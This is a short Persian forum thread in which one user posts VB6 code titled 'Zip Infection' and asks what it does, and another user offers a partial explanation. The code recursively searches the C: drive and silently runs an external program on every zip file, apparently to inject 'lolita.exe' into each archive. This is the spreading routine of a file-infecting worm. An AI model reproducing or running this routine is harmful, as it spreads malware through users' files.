!!!!! این کدا دقیقا چیکار می کنه !!!!!

[DoctorJay]

من این کدا رو به نام Zip Infection داشتم :


Sub zipinfect()
On Error Resume Next
list ("c:\")
End Sub

Sub list(dir)
On Error Resume Next
Dim fso, ssf, fil
Set fso = CreateObject("Scripting.FileSystemObject")
Set ssf = fso.GetFolder(dir).SubFolders
For Each fil In ssf
infection (fil.path)
list (fil.path)
Next
End Sub

Sub infection(dir)
Dim fso, cf, fil, ext
Set fso = CreateObject("Scripting.FileSystemObject")
Set cf = fso.GetFolder(dir).Files
For Each fil In cf
ext = fso.GetExtensionName(fil.path)
ext = LCase(ext)
If (ext = "zip") Then
Shell "c:\piss.exe " & fil.path & " " & GetSpecialfolder(CSIDL_WINSYS) & "\lolita.exe", vbHide
End If
Next
End Sub

[mpmsoft]

دوست عزیز این تابع چیکار می کنه GetSpecialfolder

من فکر می کنم در ابتدا لیست فایلهای موجود در پوشه های درایو تهیه می کنه و بعد فایلهای رو که پسوند zip دارن رو توسط پارامتر به یک فایل اجرایی ارسال می کنه که حالا دیگه اون فایل چیکار می کنه رو نمی دونم